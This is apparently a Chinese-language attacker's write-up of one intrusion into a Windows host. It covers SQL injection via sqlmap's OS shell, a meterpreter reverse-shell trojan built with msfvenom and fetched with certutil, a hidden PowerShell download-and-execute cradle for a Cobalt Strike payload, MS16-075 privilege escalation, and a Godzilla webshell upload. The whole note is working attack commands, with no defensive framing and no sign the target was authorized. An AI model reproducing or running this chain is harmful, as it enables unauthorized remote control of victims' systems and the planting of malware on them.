sqlmap -r 1.txt --os-shell

进入shell之后，使用 windows自带的certutil.exe （win XP到win10 都自带这个工具） 来下载我们的 msf 生成的木马

msf 生成木马的命令：

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=4444 -f exe > artifact.exe

然后在生成木马的目录下，利用python开启一个HTTP服务：

python -m SimpleHTTPServer

利用 certutil.exe 来下载木马，并执行，反弹一个shell到msf上面：

certutil.exe -urlcache -split -f "http://1.1.1.1:8000/artifact.exe" D:/artifact.exe && D:/artifact.exe

这个账户的权限太低了,这个工具不能使用 ，直接上传也不行,使用power shell下载也没成功。

掏出小本本，看见之前power shell的笔记，可以直接远程执行 power shell 命令。

打开CS，开启监听

生成 payload，然后从远程服务器上面执行 powershell 代码：

powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://1.1.1.1:8000/xiaoz.ps1'))"

ok，CS这边上线了，可以开始多人游戏了。手动滑稽。

提权用 ms16-075 ，哥斯拉这个webshell 管理工具集成了这个提权补丁。

也可以使用msf来提权,但是我msf生成的powershell反弹连接,反弹不过来,CS的会话分发到msf也没成功,菜就用大佬写好的工具就好了.

下载地址：https://github.com/BeichenDream/Godzilla/releases

生成一个哥斯拉的webshell，但是不知道传到哪个web路径里面。

nmap扫一下 ，然后在 90 端口，发现了和上面文件相对应的目录

然后上传 哥斯拉生成的 webshell ，提权就完了。

后面就为所欲为了，再次手动滑稽。附上一张远程的图

如有侵权，请联系删除